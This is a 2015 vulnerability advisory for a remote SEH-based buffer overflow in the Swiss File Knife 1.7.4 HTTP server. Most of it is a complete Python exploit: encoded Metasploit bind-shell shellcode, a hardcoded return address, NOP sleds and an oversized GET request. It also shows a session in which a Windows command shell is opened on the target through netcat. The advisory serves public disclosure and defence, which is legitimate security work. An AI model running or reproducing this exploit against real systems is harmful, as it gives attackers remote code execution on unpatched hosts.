Swiss File Knife 1.7.4 Buffer Overflow

`Document Title:  
===============  
Swiss File Knife v1.7.4 HTTP - Buffer Overflow Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1441  
  
  
Release Date:  
=============  
2015-02-27  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1441  
  
  
Common Vulnerability Scoring System:  
====================================  
8.4  
  
  
Product & Service Introduction:  
===============================  
Swiss File Knife - A Command Line Tools Collection that combines many functions in a single, portable executable that belongs onto   
every USB stick. Search and convert text files, instant simple FTP/HTTP server, find duplicate files, compare folders, treesize,   
run own commands on all files of a folder - it`s all within a single tool.   
  
(Copy of the Vendor Homepage: http://stahlworks.com/dev/swiss-file-knife.html )  
  
  
Abstract Advisory Information:  
==============================  
An indepdent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the official Swiss File Knife 1.7.4 HTTP Server software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-02-18: Vendor Fix/Patch (Developer Team)  
2015-02-27: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Stahlworks  
Product: Swiss File Knife - HTTP Server 1.7.4 (Windows, MacOS & Linux)  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A buffer overflow vulnerability has been discovered by an indepdent researcher in the official Swiss File Knife 1.7.4 HTTP Server software.  
The vulnerability allows local or remote attacker to gain higher system or access privileges by exploitation of a classic buffer overflow vulnerability.  
  
Payload overwrites SEH with address of pop pop ret sequence, which redirects execution flow to the attacker buffer started with fixed string “unexpected: file   
left open for write: <attacker payload>”. First two bytes “un” - 75 6E in hex are an opcode for JNZ SHORT sfk174.005A7AC0, which successfully jumps   
over the fixed text right into attacker controlled buffer filled with nops and finally shellcode.  
  
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.4.   
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by remote attackers without user interaction or privileged application user account.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
PoC: Exploit Code (*.py)  
  
!/usr/bin/env python  
Swiss File Knife 1.7.4 (rev 1) Buffer Overflow  
Author: lucyoa <lucyoa[at]reverse-shell.com  
  
SFK's http server launched using following method:  
C:\fuzz\sfksfk174.exe httpserv  
SFK Instant HTTP Server. For help, type "sfk httpserv -help".  
Waiting on port 80. Try http://192.168.56.111/ in your browser.  
  
Exploitation:  
lucyoa@sage~/exploits/sfk174$ ./exploit.py 192.168.56.111 80  
lucyoa@sage~/exploits/sfk174$ nc 192.168.56.111 4444  
Microsoft Windows XP [Version 5.1.2600]  
(C) Copyright 1985-2001 Microsoft Corp.  
  
C:\fuzz\sfkipconfig  
ipconfig  
  
Windows IP Configuration  
  
Ethernet adapter Local Area Connection:  
Connection-specific DNS Suffix . :  
IP Address. . . . . . . . . . . . : 192.168.56.111  
Subnet Mask . . . . . . . . . . . : 255.255.255.0  
Default Gateway . . . . . . . . . :  
  
C:\fuzz\sfk  
  
import sys  
import socket  
  
def usage(s):  
print "%s <ip<port" % s  
exit(0)  
  
def main():  
if len(sys.argv) != 3:  
usage(sys.argv[0])  
  
msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -t c  
[*] x86/alpha_mixed succeeded with size 744 (iteration=1)  
sc = (  
"\x89\xe0\xd9\xc5\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"  
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"  
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"  
"\x49\x6c\x78\x68\x4d\x59\x63\x30\x73\x30\x67\x70\x55\x30\x4b"  
"\x39\x79\x75\x35\x61\x59\x42\x42\x44\x4e\x6b\x63\x62\x56\x50"  
"\x6c\x4b\x71\x42\x46\x6c\x4e\x6b\x63\x62\x64\x54\x4e\x6b\x34"  
"\x32\x66\x48\x36\x6f\x38\x37\x50\x4a\x57\x56\x70\x31\x39\x6f"  
"\x44\x71\x39\x50\x4c\x6c\x67\x4c\x45\x31\x53\x4c\x63\x32\x46"  
"\x4c\x31\x30\x5a\x61\x6a\x6f\x76\x6d\x66\x61\x39\x57\x6d\x32"  
"\x6c\x30\x46\x32\x63\x67\x4e\x6b\x43\x62\x46\x70\x6c\x4b\x67"  
"\x32\x45\x6c\x77\x71\x4a\x70\x6e\x6b\x43\x70\x53\x48\x4b\x35"  
"\x59\x50\x42\x54\x50\x4a\x63\x31\x78\x50\x72\x70\x4c\x4b\x67"  
"\x38\x54\x58\x6c\x4b\x73\x68\x31\x30\x43\x31\x38\x53\x49\x73"  
"\x65\x6c\x77\x39\x4e\x6b\x34\x74\x4c\x4b\x67\x71\x49\x46\x70"  
"\x31\x59\x6f\x35\x61\x39\x50\x4c\x6c\x5a\x61\x7a\x6f\x44\x4d"  
"\x35\x51\x4a\x67\x47\x48\x4b\x50\x63\x45\x78\x74\x46\x63\x31"  
"\x6d\x4b\x48\x67\x4b\x63\x4d\x34\x64\x62\x55\x49\x72\x72\x78"  
"\x6e\x6b\x70\x58\x71\x34\x67\x71\x79\x43\x61\x76\x6e\x6b\x44"  
"\x4c\x50\x4b\x4c\x4b\x42\x78\x67\x6c\x63\x31\x68\x53\x6c\x4b"  
"\x73\x34\x6e\x6b\x57\x71\x38\x50\x6d\x59\x70\x44\x37\x54\x57"  
"\x54\x61\x4b\x43\x6b\x63\x51\x32\x79\x32\x7a\x32\x71\x59\x6f"  
"\x6d\x30\x72\x78\x71\x4f\x32\x7a\x6c\x4b\x44\x52\x7a\x4b\x4d"  
"\x56\x43\x6d\x53\x58\x75\x63\x70\x32\x67\x70\x33\x30\x63\x58"  
"\x72\x57\x72\x53\x56\x52\x73\x6f\x30\x54\x43\x58\x30\x4c\x54"  
"\x37\x45\x76\x56\x67\x59\x6f\x4a\x75\x4f\x48\x6e\x70\x76\x61"  
"\x77\x70\x63\x30\x77\x59\x5a\x64\x33\x64\x62\x70\x75\x38\x65"  
"\x79\x6f\x70\x30\x6b\x43\x30\x6b\x4f\x78\x55\x30\x50\x52\x70"  
"\x72\x70\x42\x70\x31\x50\x72\x70\x57\x30\x30\x50\x62\x48\x38"  
"\x6a\x66\x6f\x6b\x6f\x4b\x50\x6b\x4f\x49\x45\x4b\x39\x69\x57"  
"\x55\x61\x49\x4b\x32\x73\x65\x38\x43\x32\x53\x30\x62\x31\x43"  
"\x6c\x4d\x59\x59\x76\x51\x7a\x44\x50\x46\x36\x50\x57\x70\x68"  
"\x5a\x62\x4b\x6b\x66\x57\x43\x57\x49\x6f\x58\x55\x62\x73\x31"  
"\x47\x35\x38\x4e\x57\x4d\x39\x66\x58\x39\x6f\x4b\x4f\x59\x45"  
"\x36\x33\x73\x63\x36\x37\x31\x78\x30\x74\x68\x6c\x35\x6b\x69"  
"\x71\x39\x6f\x4a\x75\x62\x77\x6c\x49\x68\x47\x71\x78\x44\x35"  
"\x30\x6e\x32\x6d\x71\x71\x39\x6f\x49\x45\x43\x58\x71\x73\x72"  
"\x4d\x50\x64\x53\x30\x6e\x69\x4d\x33\x36\x37\x63\x67\x33\x67"  
"\x46\x51\x4b\x46\x30\x6a\x55\x42\x62\x79\x50\x56\x6d\x32\x6b"  
"\x4d\x45\x36\x7a\x67\x70\x44\x66\x44\x65\x6c\x65\x51\x65\x51"  
"\x6c\x4d\x72\x64\x77\x54\x76\x70\x78\x46\x55\x50\x37\x34\x66"  
"\x34\x56\x30\x46\x36\x53\x66\x33\x66\x43\x76\x51\x46\x32\x6e"  
"\x56\x36\x63\x66\x50\x53\x71\x46\x61\x78\x70\x79\x58\x4c\x55"  
"\x6f\x4d\x56\x69\x6f\x4b\x65\x4f\x79\x4b\x50\x70\x4e\x70\x56"  
"\x37\x36\x69\x6f\x50\x30\x61\x78\x34\x48\x4c\x47\x35\x4d\x61"  
"\x70\x59\x6f\x5a\x75\x6f\x4b\x4a\x50\x4f\x45\x49\x32\x62\x76"  
"\x45\x38\x6e\x46\x6f\x65\x6f\x4d\x4d\x4d\x39\x6f\x7a\x75\x77"  
"\x4c\x65\x56\x63\x4c\x76\x6a\x4f\x70\x4b\x4b\x79\x70\x44\x35"  
"\x64\x45\x6f\x4b\x72\x67\x46\x73\x73\x42\x50\x6f\x72\x4a\x47"  
"\x70\x32\x73\x49\x6f\x38\x55\x41\x41")  
  
0x004f1b8d from sfk174.exe  
ret = "\x8d\x1b\x4f\x00"  
  
nop = "\x90"*(128807 - len(sc))  
nop2 = "\x90"*121068  
  
buff = nop + sc + nop2 + ret  
payload = "GET /"+buff+" HTTP/1.1\r\n\r\n"  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1], int(sys.argv[2])))  
s.send(payload)  
s.close()  
  
if __name__ == "__main__":  
main()  
  
  
Solution - Fix & Patch:  
=======================  
2015-02-18: Vendor Fix/Patch (Developer Team)  
  
Update: http://sourceforge.net/projects/swissfileknife/files/1-swissfileknife/1.7.4/  
  
  
Security Risk:  
==============  
The security risk of the local and remote buffer overflow software vulnerability is estimated as high. (CVSS 8.4)  
  
  
Credits & Authors:  
==================  
lucyoa - [lucyoa[at]reverse-shell.com]  
  
  
Disclaimer & Information:  
=========================  
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